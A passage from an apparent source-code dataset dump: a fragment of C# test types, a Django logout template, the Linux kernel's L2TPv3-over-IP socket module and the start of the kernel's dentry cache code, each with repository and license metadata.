(o is Sc) && Equals((Sc)o); } public bool Equals(Sc other) { return other.S == S; } public override int GetHashCode() { return S.GetHashCode(); } } public struct Scs : IEquatable<Scs> { public Scs(string s, S val) { S = s; Val = val; } public string S; public S Val; public override bool Equals(object o) { return (o is Scs) && Equals((Scs)o); } public bool Equals(Scs other) { return other.S == S && other.Val.Equals(Val); } public override int GetHashCode() { return S.GetHashCode() ^ Val.GetHashCode(); } } public class BaseClass { } public class FC { public int II; public static int SI; public const int CI = 42; public static readonly int RI = 42; } public struct FS { public int II; public static int SI; public const int CI = 42; public static readonly int RI = 42; } public class PC { public int II { get; set; } public static int SI { get; set; } public int this[int i] { get { return 1; } set { } } } public struct PS { public int II { get; set; } public static int SI { get; set; } } }
mit
GMadorell/cookiecutter_django_buildout
{{ cookiecutter.repo_name }}/src/templates/registration/logout.html
262
{% extends "registration/base.html" %} {% block title %}Logged out{% endblock %} {% block content %} <h1>You've been logged out.</h1> <p>Thanks for stopping by; when you come back, don't forget to <a href="/accounts/login/">log in</a> again.</p> {% endblock %}
mit
val2k/linux
net/l2tp/l2tp_ip.c
16646
/* * L2TPv3 IP encapsulation support * * Copyright (c) 2008,2009,2010 Katalix Systems Ltd * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. */ #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt #include <asm/ioctls.h> #include <linux/icmp.h> #include <linux/module.h> #include <linux/skbuff.h> #include <linux/random.h> #include <linux/socket.h> #include <linux/l2tp.h> #include <linux/in.h> #include <net/sock.h> #include <net/ip.h> #include <net/icmp.h> #include <net/udp.h> #include <net/inet_common.h> #include <net/inet_hashtables.h> #include <net/tcp_states.h> #include <net/protocol.h> #include <net/xfrm.h> #include "l2tp_core.h" struct l2tp_ip_sock { /* inet_sock has to be the first member of l2tp_ip_sock */ struct inet_sock inet; u32 conn_id; u32 peer_conn_id; }; static DEFINE_RWLOCK(l2tp_ip_lock); static struct hlist_head l2tp_ip_table; static struct hlist_head l2tp_ip_bind_table; static inline struct l2tp_ip_sock *l2tp_ip_sk(const struct sock *sk) { return (struct l2tp_ip_sock *)sk; } static struct sock *__l2tp_ip_bind_lookup(const struct net *net, __be32 laddr, __be32 raddr, int dif, u32 tunnel_id) { struct sock *sk; sk_for_each_bound(sk, &l2tp_ip_bind_table) { const struct l2tp_ip_sock *l2tp = l2tp_ip_sk(sk); const struct inet_sock *inet = inet_sk(sk); if (!net_eq(sock_net(sk), net)) continue; if (sk->sk_bound_dev_if && dif && sk->sk_bound_dev_if != dif) continue; if (inet->inet_rcv_saddr && laddr && inet->inet_rcv_saddr != laddr) continue; if (inet->inet_daddr && raddr && inet->inet_daddr != raddr) continue; if (l2tp->conn_id != tunnel_id) continue; goto found; } sk = NULL; found: return sk; } /* When processing receive frames, there are two cases to * consider. Data frames consist of a non-zero session-id and an * optional cookie. Control frames consist of a regular L2TP header * preceded by 32-bits of zeros. * * L2TPv3 Session Header Over IP * * 0 1 2 3 * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | Session ID | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | Cookie (optional, maximum 64 bits)... * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * * L2TPv3 Control Message Header Over IP * * 0 1 2 3 * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | (32 bits of zeros) | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * |T|L|x|x|S|x|x|x|x|x|x|x| Ver | Length | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | Control Connection ID | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | Ns | Nr | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * * All control frames are passed to userspace. */ static int l2tp_ip_recv(struct sk_buff *skb) { struct net *net = dev_net(skb->dev); struct sock *sk; u32 session_id; u32 tunnel_id; unsigned char *ptr, *optr; struct l2tp_session *session; struct l2tp_tunnel *tunnel = NULL; struct iphdr *iph; int length; if (!pskb_may_pull(skb, 4)) goto discard; /* Point to L2TP header */ optr = ptr = skb->data; session_id = ntohl(*((__be32 *) ptr)); ptr += 4; /* RFC3931: L2TP/IP packets have the first 4 bytes containing * the session_id. If it is 0, the packet is a L2TP control * frame and the session_id value can be discarded. */ if (session_id == 0) { __skb_pull(skb, 4); goto pass_up; } /* Ok, this is a data packet. Lookup the session. */ session = l2tp_session_get(net, NULL, session_id); if (!session) goto discard; tunnel = session->tunnel; if (!tunnel) goto discard_sess; /* Trace packet contents, if enabled */ if (tunnel->debug & L2TP_MSG_DATA) { length = min(32u, skb->len); if (!pskb_may_pull(skb, length)) goto discard_sess; /* Point to L2TP header */ optr = ptr = skb->data; ptr += 4; pr_debug("%s: ip recv\n", tunnel->name); print_hex_dump_bytes("", DUMP_PREFIX_OFFSET, ptr, length); } l2tp_recv_common(session, skb, ptr, optr, 0, skb->len, tunnel->recv_payload_hook); l2tp_session_dec_refcount(session); return 0; pass_up: /* Get the tunnel_id from the L2TP header */ if (!pskb_may_pull(skb, 12)) goto discard; if ((skb->data[0] & 0xc0) != 0xc0) goto discard; tunnel_id = ntohl(*(__be32 *) &skb->data[4]); iph = (struct iphdr *)skb_network_header(skb); read_lock_bh(&l2tp_ip_lock); sk = __l2tp_ip_bind_lookup(net, iph->daddr, iph->saddr, inet_iif(skb), tunnel_id); if (!sk) { read_unlock_bh(&l2tp_ip_lock); goto discard; } sock_hold(sk); read_unlock_bh(&l2tp_ip_lock); if (!xfrm4_policy_check(sk, XFRM_POLICY_IN, skb)) goto discard_put; nf_reset(skb); return sk_receive_skb(sk, skb, 1); discard_sess: l2tp_session_dec_refcount(session); goto discard; discard_put: sock_put(sk); discard: kfree_skb(skb); return 0; } static int l2tp_ip_open(struct sock *sk) { /* Prevent autobind. We don't have ports. */ inet_sk(sk)->inet_num = IPPROTO_L2TP; write_lock_bh(&l2tp_ip_lock); sk_add_node(sk, &l2tp_ip_table); write_unlock_bh(&l2tp_ip_lock); return 0; } static void l2tp_ip_close(struct sock *sk, long timeout) { write_lock_bh(&l2tp_ip_lock); hlist_del_init(&sk->sk_bind_node); sk_del_node_init(sk); write_unlock_bh(&l2tp_ip_lock); sk_common_release(sk); } static void l2tp_ip_destroy_sock(struct sock *sk) { struct sk_buff *skb; struct l2tp_tunnel *tunnel = l2tp_sock_to_tunnel(sk); while ((skb = __skb_dequeue_tail(&sk->sk_write_queue)) != NULL) kfree_skb(skb); if (tunnel) { l2tp_tunnel_closeall(tunnel); sock_put(sk); } sk_refcnt_debug_dec(sk); } static int l2tp_ip_bind(struct sock *sk, struct sockaddr *uaddr, int addr_len) { struct inet_sock *inet = inet_sk(sk); struct sockaddr_l2tpip *addr = (struct sockaddr_l2tpip *) uaddr; struct net *net = sock_net(sk); int ret; int chk_addr_ret; if (addr_len < sizeof(struct sockaddr_l2tpip)) return -EINVAL; if (addr->l2tp_family != AF_INET) return -EINVAL; lock_sock(sk); ret = -EINVAL; if (!sock_flag(sk, SOCK_ZAPPED)) goto out; if (sk->sk_state != TCP_CLOSE) goto out; chk_addr_ret = inet_addr_type(net, addr->l2tp_addr.s_addr); ret = -EADDRNOTAVAIL; if (addr->l2tp_addr.s_addr && chk_addr_ret != RTN_LOCAL && chk_addr_ret != RTN_MULTICAST && chk_addr_ret != RTN_BROADCAST) goto out; if (addr->l2tp_addr.s_addr) inet->inet_rcv_saddr = inet->inet_saddr = addr->l2tp_addr.s_addr; if (chk_addr_ret == RTN_MULTICAST || chk_addr_ret == RTN_BROADCAST) inet->inet_saddr = 0; /* Use device */ write_lock_bh(&l2tp_ip_lock); if (__l2tp_ip_bind_lookup(net, addr->l2tp_addr.s_addr, 0, sk->sk_bound_dev_if, addr->l2tp_conn_id)) { write_unlock_bh(&l2tp_ip_lock); ret = -EADDRINUSE; goto out; } sk_dst_reset(sk); l2tp_ip_sk(sk)->conn_id = addr->l2tp_conn_id; sk_add_bind_node(sk, &l2tp_ip_bind_table); sk_del_node_init(sk); write_unlock_bh(&l2tp_ip_lock); ret = 0; sock_reset_flag(sk, SOCK_ZAPPED); out: release_sock(sk); return ret; } static int l2tp_ip_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) { struct sockaddr_l2tpip *lsa = (struct sockaddr_l2tpip *) uaddr; int rc; if (addr_len < sizeof(*lsa)) return -EINVAL; if (ipv4_is_multicast(lsa->l2tp_addr.s_addr)) return -EINVAL; lock_sock(sk); /* Must bind first - autobinding does not work */ if (sock_flag(sk, SOCK_ZAPPED)) { rc = -EINVAL; goto out_sk; } rc = __ip4_datagram_connect(sk, uaddr, addr_len); if (rc < 0) goto out_sk; l2tp_ip_sk(sk)->peer_conn_id = lsa->l2tp_conn_id; write_lock_bh(&l2tp_ip_lock); hlist_del_init(&sk->sk_bind_node); sk_add_bind_node(sk, &l2tp_ip_bind_table); write_unlock_bh(&l2tp_ip_lock); out_sk: release_sock(sk); return rc; } static int l2tp_ip_disconnect(struct sock *sk, int flags) { if (sock_flag(sk, SOCK_ZAPPED)) return 0; return __udp_disconnect(sk, flags); } static int l2tp_ip_getname(struct socket *sock, struct sockaddr *uaddr, int *uaddr_len, int peer) { struct sock *sk = sock->sk; struct inet_sock *inet = inet_sk(sk); struct l2tp_ip_sock *lsk = l2tp_ip_sk(sk); struct sockaddr_l2tpip *lsa = (struct sockaddr_l2tpip *)uaddr; memset(lsa, 0, sizeof(*lsa)); lsa->l2tp_family = AF_INET; if (peer) { if (!inet->inet_dport) return -ENOTCONN; lsa->l2tp_conn_id = lsk->peer_conn_id; lsa->l2tp_addr.s_addr = inet->inet_daddr; } else { __be32 addr = inet->inet_rcv_saddr; if (!addr) addr = inet->inet_saddr; lsa->l2tp_conn_id = lsk->conn_id; lsa->l2tp_addr.s_addr = addr; } *uaddr_len = sizeof(*lsa); return 0; } static int l2tp_ip_backlog_recv(struct sock *sk, struct sk_buff *skb) { int rc; /* Charge it to the socket, dropping if the queue is full. */ rc = sock_queue_rcv_skb(sk, skb); if (rc < 0) goto drop; return 0; drop: IP_INC_STATS(sock_net(sk), IPSTATS_MIB_INDISCARDS); kfree_skb(skb); return 0; } /* Userspace will call sendmsg() on the tunnel socket to send L2TP * control frames. */ static int l2tp_ip_sendmsg(struct sock *sk, struct msghdr *msg, size_t len) { struct sk_buff *skb; int rc; struct inet_sock *inet = inet_sk(sk); struct rtable *rt = NULL; struct flowi4 *fl4; int connected = 0; __be32 daddr; lock_sock(sk); rc = -ENOTCONN; if (sock_flag(sk, SOCK_DEAD)) goto out; /* Get and verify the address. */ if (msg->msg_name) { DECLARE_SOCKADDR(struct sockaddr_l2tpip *, lip, msg->msg_name); rc = -EINVAL; if (msg->msg_namelen < sizeof(*lip)) goto out; if (lip->l2tp_family != AF_INET) { rc = -EAFNOSUPPORT; if (lip->l2tp_family != AF_UNSPEC) goto out; } daddr = lip->l2tp_addr.s_addr; } else { rc = -EDESTADDRREQ; if (sk->sk_state != TCP_ESTABLISHED) goto out; daddr = inet->inet_daddr; connected = 1; } /* Allocate a socket buffer */ rc = -ENOMEM; skb = sock_wmalloc(sk, 2 + NET_SKB_PAD + sizeof(struct iphdr) + 4 + len, 0, GFP_KERNEL); if (!skb) goto error; /* Reserve space for headers, putting IP header on 4-byte boundary. */ skb_reserve(skb, 2 + NET_SKB_PAD); skb_reset_network_header(skb); skb_reserve(skb, sizeof(struct iphdr)); skb_reset_transport_header(skb); /* Insert 0 session_id */ *((__be32 *) skb_put(skb, 4)) = 0; /* Copy user data into skb */ rc = memcpy_from_msg(skb_put(skb, len), msg, len); if (rc < 0) { kfree_skb(skb); goto error; } fl4 = &inet->cork.fl.u.ip4; if (connected) rt = (struct rtable *) __sk_dst_check(sk, 0); rcu_read_lock(); if (rt == NULL) { const struct ip_options_rcu *inet_opt; inet_opt = rcu_dereference(inet->inet_opt); /* Use correct destination address if we have options. */ if (inet_opt && inet_opt->opt.srr) daddr = inet_opt->opt.faddr; /* If this fails, retransmit mechanism of transport layer will * keep trying until route appears or the connection times * itself out. */ rt = ip_route_output_ports(sock_net(sk), fl4, sk, daddr, inet->inet_saddr, inet->inet_dport, inet->inet_sport, sk->sk_protocol, RT_CONN_FLAGS(sk), sk->sk_bound_dev_if); if (IS_ERR(rt)) goto no_route; if (connected) { sk_setup_caps(sk, &rt->dst); } else { skb_dst_set(skb, &rt->dst); goto xmit; } } /* We dont need to clone dst here, it is guaranteed to not disappear. * __dev_xmit_skb() might force a refcount if needed. */ skb_dst_set_noref(skb, &rt->dst); xmit: /* Queue the packet to IP for output */ rc = ip_queue_xmit(sk, skb, &inet->cork.fl); rcu_read_unlock(); error: if (rc >= 0) rc = len; out: release_sock(sk); return rc; no_route: rcu_read_unlock(); IP_INC_STATS(sock_net(sk), IPSTATS_MIB_OUTNOROUTES); kfree_skb(skb); rc = -EHOSTUNREACH; goto out; } static int l2tp_ip_recvmsg(struct sock *sk, struct msghdr *msg, size_t len, int noblock, int flags, int *addr_len) { struct inet_sock *inet = inet_sk(sk); size_t copied = 0; int err = -EOPNOTSUPP; DECLARE_SOCKADDR(struct sockaddr_in *, sin, msg->msg_name); struct sk_buff *skb; if (flags & MSG_OOB) goto out; skb = skb_recv_datagram(sk, flags, noblock, &err); if (!skb) goto out; copied = skb->len; if (len < copied) { msg->msg_flags |= MSG_TRUNC; copied = len; } err = skb_copy_datagram_msg(skb, 0, msg, copied); if (err) goto done; sock_recv_timestamp(msg, sk, skb); /* Copy the address. */ if (sin) { sin->sin_family = AF_INET; sin->sin_addr.s_addr = ip_hdr(skb)->saddr; sin->sin_port = 0; memset(&sin->sin_zero, 0, sizeof(sin->sin_zero)); *addr_len = sizeof(*sin); } if (inet->cmsg_flags) ip_cmsg_recv(msg, skb); if (flags & MSG_TRUNC) copied = skb->len; done: skb_free_datagram(sk, skb); out: return err ? err : copied; } int l2tp_ioctl(struct sock *sk, int cmd, unsigned long arg) { struct sk_buff *skb; int amount; switch (cmd) { case SIOCOUTQ: amount = sk_wmem_alloc_get(sk); break; case SIOCINQ: spin_lock_bh(&sk->sk_receive_queue.lock); skb = skb_peek(&sk->sk_receive_queue); amount = skb ? skb->len : 0; spin_unlock_bh(&sk->sk_receive_queue.lock); break; default: return -ENOIOCTLCMD; } return put_user(amount, (int __user *)arg); } EXPORT_SYMBOL(l2tp_ioctl); static struct proto l2tp_ip_prot = { .name = "L2TP/IP", .owner = THIS_MODULE, .init = l2tp_ip_open, .close = l2tp_ip_close, .bind = l2tp_ip_bind, .connect = l2tp_ip_connect, .disconnect = l2tp_ip_disconnect, .ioctl = l2tp_ioctl, .destroy = l2tp_ip_destroy_sock, .setsockopt = ip_setsockopt, .getsockopt = ip_getsockopt, .sendmsg = l2tp_ip_sendmsg, .recvmsg = l2tp_ip_recvmsg, .backlog_rcv = l2tp_ip_backlog_recv, .hash = inet_hash, .unhash = inet_unhash, .obj_size = sizeof(struct l2tp_ip_sock), #ifdef CONFIG_COMPAT .compat_setsockopt = compat_ip_setsockopt, .compat_getsockopt = compat_ip_getsockopt, #endif }; static const struct proto_ops l2tp_ip_ops = { .family = PF_INET, .owner = THIS_MODULE, .release = inet_release, .bind = inet_bind, .connect = inet_dgram_connect, .socketpair = sock_no_socketpair, .accept = sock_no_accept, .getname = l2tp_ip_getname, .poll = datagram_poll, .ioctl = inet_ioctl, .listen = sock_no_listen, .shutdown = inet_shutdown, .setsockopt = sock_common_setsockopt, .getsockopt = sock_common_getsockopt, .sendmsg = inet_sendmsg, .recvmsg = sock_common_recvmsg, .mmap = sock_no_mmap, .sendpage = sock_no_sendpage, #ifdef CONFIG_COMPAT .compat_setsockopt = compat_sock_common_setsockopt, .compat_getsockopt = compat_sock_common_getsockopt, #endif }; static struct inet_protosw l2tp_ip_protosw = { .type = SOCK_DGRAM, .protocol = IPPROTO_L2TP, .prot = &l2tp_ip_prot, .ops = &l2tp_ip_ops, }; static struct net_protocol l2tp_ip_protocol __read_mostly = { .handler = l2tp_ip_recv, .netns_ok = 1, }; static int __init l2tp_ip_init(void) { int err; pr_info("L2TP IP encapsulation support (L2TPv3)\n"); err = proto_register(&l2tp_ip_prot, 1); if (err != 0) goto out; err = inet_add_protocol(&l2tp_ip_protocol, IPPROTO_L2TP); if (err) goto out1; inet_register_protosw(&l2tp_ip_protosw); return 0; out1: proto_unregister(&l2tp_ip_prot); out: return err; } static void __exit l2tp_ip_exit(void) { inet_unregister_protosw(&l2tp_ip_protosw); inet_del_protocol(&l2tp_ip_protocol, IPPROTO_L2TP); proto_unregister(&l2tp_ip_prot); } module_init(l2tp_ip_init); module_exit(l2tp_ip_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("James Chapman <[email protected]>"); MODULE_DESCRIPTION("L2TP over IP"); MODULE_VERSION("1.0"); /* Use the value of SOCK_DGRAM (2) directory, because __stringify doesn't like * enums */ MODULE_ALIAS_NET_PF_PROTO_TYPE(PF_INET, 2, IPPROTO_L2TP); MODULE_ALIAS_NET_PF_PROTO(PF_INET, IPPROTO_L2TP);
gpl-2.0
semdoc/kernel_google_msm
fs/dcache.c
79742
/* * fs/dcache.c * * Complete reimplementation * (C) 1997 Thomas Schoebel-Theuer, * with heavy changes by Linus Torvalds */ /* * Notes on the allocation strategy: * * The dcache is a master of the icache - whenever a dcache entry * exists, the inode will always exist. "iput()" is done either when * the dcache entry is deleted or garbage collected. */ #include <linux/syscalls.h> #include <linux/string.h> #include <linux/mm.h> #include <linux/fs.h> #include <linux/fsnotify.h> #include <linux/slab.h> #include <linux/init.h> #include <linux/hash.h> #include <linux/cache.h> #include <linux/export.h> #include <linux/mount.h> #include <linux/file.h> #include <asm/uaccess.h> #include <linux/security.h> #include <linux/seqlock.h> #include <linux/swap.h> #include <linux/bootmem.h> #include <linux/fs_struct.h> #include <linux/hardirq.h> #include <linux/bit_spinlock.h> #include <linux/rculist_bl.h> #include <linux/prefetch.h> #include <linux/ratelimit.h> #include "internal.h" #include "mount.h" /* * Usage: * dcache->d_inode->i_lock protects: * - i_dentry, d_alias, d_inode of aliases * dcache_hash_bucket lock protects: * - the dcache hash table * s_anon bl list spinlock protects: * - the s_anon list (see __d_drop) * dcache_lru_lock protects: * - the dcache lru lists and counters * d_lock protects: * - d_flags * - d_name * - d_lru * - d_count * - d_unhashed() * - d_parent and d_subdirs * - childrens' d_child and d_parent * - d_alias, d_inode * * Ordering: * dentry->d_inode->i_lock * dentry->d_lock * dcache_lru_lock * dcache_hash_bucket lock * s_anon lock * * If there is an ancestor relationship: * dentry->d_parent->...->d_parent->d_lock * ... * dentry->d_parent->d_lock * dentry->d_lock * * If no ancestor relationship: * if (dentry1 < dentry2) * dentry1->d_lock * dentry2->d_lock */ int sysctl_vfs_cache_pressure __read_mostly = 100; EXPORT_SYMBOL_GPL(sysctl_vfs_cache_pressure); static __cacheline_aligned_in_smp DEFINE_SPINLOCK(dcache_lru_lock); __cacheline_aligned_in_smp DEFINE_SEQLOCK(rename_lock); EXPORT_SYMBOL(rename_lock); static struct kmem_cache *dentry_cache __read_mostly; /* * This is the single most critical data structure when it comes * to the dcache: the hashtable for lookups. Somebody should try * to make this good - I've just made it work. * * This hash-function tries to avoid losing too many bits of hash * information, yet avoid using a prime hash-size or similar. */ #define D_HASHBITS d_hash_shift #define D_HASHMASK d_hash_mask static unsigned int d_hash_mask __read_mostly; static unsigned int d_hash_shift __read_mostly; static struct hlist_bl_head *dentry_hashtable __read_mostly; static inline struct hlist_bl_head *d_hash(const struct dentry *parent, unsigned int hash) { hash += (unsigned long) parent / L1_CACHE_BYTES; hash = hash + (hash >> D_HASHBITS); return dentry_hashtable + (hash & D_HASHMASK); } /* Statistics gathering. */ struct dentry_stat_t dentry_stat = { .age_limit = 45, }; static DEFINE_PER_CPU(unsigned int, nr_dentry); #if defined(CONFIG_SYSCTL) && defined(CONFIG_PROC_FS) static int get_nr_dentry(void) { int i; int sum = 0; for_each_possible_cpu(i) sum += per_cpu(nr_dentry, i); return sum < 0 ? 0 : sum; } int proc_nr_dentry(ctl_table *table, int write, void __user *buffer, size_t *lenp, loff_t *ppos) { dentry_stat.nr_dentry = get_nr_dentry(); return proc_dointvec(table, write, buffer, lenp, ppos); } #endif /* * Compare 2 name strings, return 0 if they match, otherwise non-zero. * The strings are both count bytes long, and count is non-zero. */ #ifdef CONFIG_DCACHE_WORD_ACCESS #include <asm/word-at-a-time.h> /* * NOTE! 'cs' and 'scount' come from a dentry, so it has a * aligned allocation for this particular component. We don't * strictly need the load_unaligned_zeropad() safety, but it * doesn't hurt either. * * In contrast, 'ct' and 'tcount' can be from a pathname, and do * need the careful unaligned handling. */ static inline int dentry_cmp(const unsigned char *cs, size_t scount, const unsigned char *ct, size_t tcount) { unsigned long a,b,mask; if (unlikely(scount != tcount)) return 1; for (;;) { a = load_unaligned_zeropad(cs); b = load_unaligned_zeropad(ct); if (tcount < sizeof(unsigned long)) break; if (unlikely(a != b)) return 1; cs += sizeof(unsigned long); ct += sizeof(unsigned long); tcount -= sizeof(unsigned long); if (!tcount) return 0; } mask = ~(~0ul << tcount*8); return unlikely(!!((a ^ b) & mask)); } #else static inline int dentry_cmp(const unsigned char *cs, size_t scount, const unsigned char *ct, size_t tcount) { if (scount != tcount) return 1; do { if (*cs != *ct) return 1; cs++; ct++; tcount--; } while (tcount); return 0; } #endif static void __d_free(struct rcu_head *head) { struct dentry *dentry = container_of(head, struct dentry, d_u.d_rcu); WARN_ON(!list_empty(&dentry->d_alias)); if (dname_external(dentry)) kfree(dentry->d_name.name); kmem_cache_free(dentry_cache, dentry); } /* * no locks, please. */ static void d_free(struct dentry *dentry) { BUG_ON(dentry->d_count); this_cpu_dec(nr_dentry); if (dentry->d_op && dentry->d_op->d_release) dentry->d_op->d_release(dentry); /* if dentry was never visible to RCU, immediate free is OK */ if (!(dentry->d_flags & DCACHE_RCUACCESS)) __d_free(&dentry->d_u.d_rcu); else call_rcu(&dentry->d_u.d_rcu, __d_free); } /** * dentry_rcuwalk_barrier - invalidate in-progress rcu-walk lookups * @dentry: the target dentry * After this call, in-progress rcu-walk path lookup will fail. This * should be called after unhashing, and after changing d_inode (if * the dentry has not already been unhashed). */ static inline void dentry_rcuwalk_barrier(struct dentry *dentry) { assert_spin_locked(&dentry->d_lock); /* Go through a barrier */ write_seqcount_barrier(&dentry->d_seq); } /* * Release the dentry's inode, using the filesystem * d_iput() operation if defined. Dentry has no refcount * and is unhashed. */ static void dentry_iput(struct dentry * dentry) __releases(dentry->d_lock) __releases(dentry->d_inode->i_lock) { struct inode *inode = dentry->d_inode; if (inode) { dentry->d_inode = NULL; list_del_init(&dentry->d_alias); spin_unlock(&dentry->d_lock); spin_unlock(&inode->i_lock); if (!inode->i_nlink) fsnotify_inoderemove(inode); if (dentry->d_op && dentry->d_op->d_iput) dentry->d_op->d_iput(dentry, inode); else iput(inode); } else { spin_unlock(&dentry->d_lock); } } /* * Release the dentry's inode, using the filesystem * d_iput() operation if defined. dentry remains in-use. */ static void dentry_unlink_inode(struct dentry * dentry) __releases(dentry->d_lock) __releases(dentry->d_inode->i_lock) { struct inode *inode = dentry->d_inode; dentry->d_inode = NULL; list_del_init(&dentry->d_alias); dentry_rcuwalk_barrier(dentry); spin_unlock(&dentry->d_lock); spin_unlock(&inode->i_lock); if (!inode->i_nlink) fsnotify_inoderemove(inode); if (dentry->d_op && dentry->d_op->d_iput) dentry->d_op->d_iput(dentry, inode); else iput(inode); } /* * dentry_lru_(add|del|prune|move_tail) must be called with d_lock held. */ static void dentry_lru_add(struct dentry *dentry) { if (list_empty(&dentry->d_lru)) { spin_lock(&dcache_lru_lock); list_add(&dentry->d_lru, &dentry->d_sb->s_dentry_lru); dentry->d_sb->s_nr_dentry_unused++; dentry_stat.nr_unused++; spin_unlock(&dcache_lru_lock); } } static void __dentry_lru_del(struct dentry *dentry) { list_del_init(&dentry->d_lru); dentry->d_flags &= ~DCACHE_SHRINK_LIST; dentry->d_sb->s_nr_dentry_unused--; dentry_stat.nr_unused--; } /* * Remove a dentry with references from the LRU. */ static void dentry_lru_del(struct dentry *dentry) { if (!list_empty(&dentry->d_lru)) { spin_lock(&dcache_lru_lock); __dentry_lru_del(dentry); spin_unlock(&dcache_lru_lock); } } /* * Remove a dentry that is unreferenced and about to be pruned * (unhashed and destroyed) from the LRU, and inform the file system. * This wrapper should be called _prior_ to unhashing a victim dentry. */ static void dentry_lru_prune(struct dentry *dentry) { if (!list_empty(&dentry->d_lru)) { if (dentry->d_flags & DCACHE_OP_PRUNE) dentry->d_op->d_prune(dentry); spin_lock(&dcache_lru_lock); __dentry_lru_del(dentry); spin_unlock(&dcache_lru_lock); } } static void dentry_lru_move_list(struct dentry *dentry, struct list_head *list) { spin_lock(&dcache_lru_lock); if (list_empty(&dentry->d_lru)) { list_add_tail(&dentry->d_lru, list); dentry->d_sb->s_nr_dentry_unused++; dentry_stat.nr_unused++; } else { list_move_tail(&dentry->d_lru, list); } spin_unlock(&dcache_lru_lock); } /** * d_kill - kill dentry and return parent * @dentry: dentry to kill * @parent: parent dentry * * The dentry must already be unhashed and removed from the LRU. * * If this is the root of the dentry tree, return NULL. * * dentry->d_lock and parent->d_lock must be held by caller, and are dropped by * d_kill. */ static struct dentry *d_kill(struct dentry *dentry, struct dentry *parent) __releases(dentry->d_lock) __releases(parent->d_lock) __releases(dentry->d_inode->i_lock) { list_del(&dentry->d_u.d_child); /* * Inform try_to_ascend() that we are no longer attached to the * dentry tree */ dentry->d_flags |= DCACHE_DISCONNECTED; if (parent) spin_unlock(&parent->d_lock); dentry_iput(dentry); /* * dentry_iput drops the locks, at which point nobody (except * transient RCU lookups) can reach this dentry. */ d_free(dentry); return parent; } /* * Unhash a dentry without inserting an RCU walk barrier or checking that * dentry->d_lock is locked. The caller must take care of that, if * appropriate. */ static void __d_shrink(struct dentry *dentry) { if (!d_unhashed(dentry)) { struct hlist_bl_head *b; if (unlikely(dentry->d_flags & DCACHE_DISCONNECTED)) b = &dentry->d_sb->s_anon; else b = d_hash(dentry->d_parent, dentry->d_name.hash); hlist_bl_lock(b); __hlist_bl_del(&dentry->d_hash); dentry->d_hash.pprev = NULL; hlist_bl_unlock(b); } } /** * d_drop - drop a dentry * @dentry: dentry to drop * * d_drop() unhashes the entry from the parent dentry hashes, so that it won't * be found through a VFS lookup any more. Note that this is different from * deleting the dentry - d_delete will try to mark the dentry negative if * possible, giving a successful _negative_ lookup, while d_drop will * just make the cache lookup fail. * * d_drop() is used mainly for stuff that wants to invalidate a dentry for some * reason (NFS timeouts or autofs deletes). * * __d_drop requires dentry->d_lock. */ void __d_drop(struct dentry *dentry) { if (!d_unhashed(dentry)) { __d_shrink(dentry); dentry_rcuwalk_barrier(dentry); } } EXPORT_SYMBOL(__d_drop); void d_drop(struct dentry *dentry) { spin_lock(&dentry->d_lock); __d_drop(dentry); spin_unlock(&dentry->d_lock); } EXPORT_SYMBOL(d_drop); /* * d_clear_need_lookup - drop a dentry from cache and clear the need lookup flag * @dentry: dentry to drop * * This is called when we do a lookup on a placeholder dentry that needed to be * looked up. The dentry should have been hashed in order for it to be found by * the lookup code, but now needs to be unhashed while we do the actual lookup * and clear the DCACHE_NEED_LOOKUP flag. */ void d_clear_need_lookup(struct dentry *dentry) { spin_lock(&dentry->d_lock); __d_drop(dentry); dentry->d_flags &= ~DCACHE_NEED_LOOKUP; spin_unlock(&dentry->d_lock); } EXPORT_SYMBOL(d_clear_need_lookup); /* * Finish off a dentry we've decided to kill. * dentry->d_lock must be held, returns with it unlocked. * If ref is non-zero, then decrement the refcount too. * Returns dentry requiring refcount drop, or NULL if we're done. */ static inline struct dentry *dentry_kill(struct dentry *dentry, int ref) __releases(dentry->d_lock) { struct inode *inode; struct dentry *parent; inode = dentry->d_inode; if (inode && !spin_trylock(&inode->i_lock)) { relock: spin_unlock(&dentry->d_lock); cpu_relax(); return dentry; /* try again with same dentry */ } if (IS_ROOT(dentry)) parent = NULL; else parent = dentry->d_parent; if (parent && !spin_trylock(&parent->d_lock)) { if (inode) spin_unlock(&inode->i_lock); goto relock; } if (ref) dentry->d_count--; /* * if dentry was on the d_lru list delete it from there. * inform the fs via d_prune that this dentry is about to be * unhashed and destroyed. */ dentry_lru_prune(dentry); /* if it was on the hash then remove it */ __d_drop(dentry); return d_kill(dentry, parent); } /* * This is dput * * This is complicated by the fact that we do not want to put * dentries that are no longer on any hash chain on the unused * list: we'd much rather just get rid of them immediately. * * However, that implies that we have to traverse the dentry * tree upwards to the parents which might _also_ now be * scheduled for deletion (it may have been only waiting for * its last child to go away). * * This tail recursion is done by hand as we don't want to depend * on the compiler to always get this right (gcc generally doesn't). * Real recursion would eat up our stack space. */ /* * dput - release a dentry * 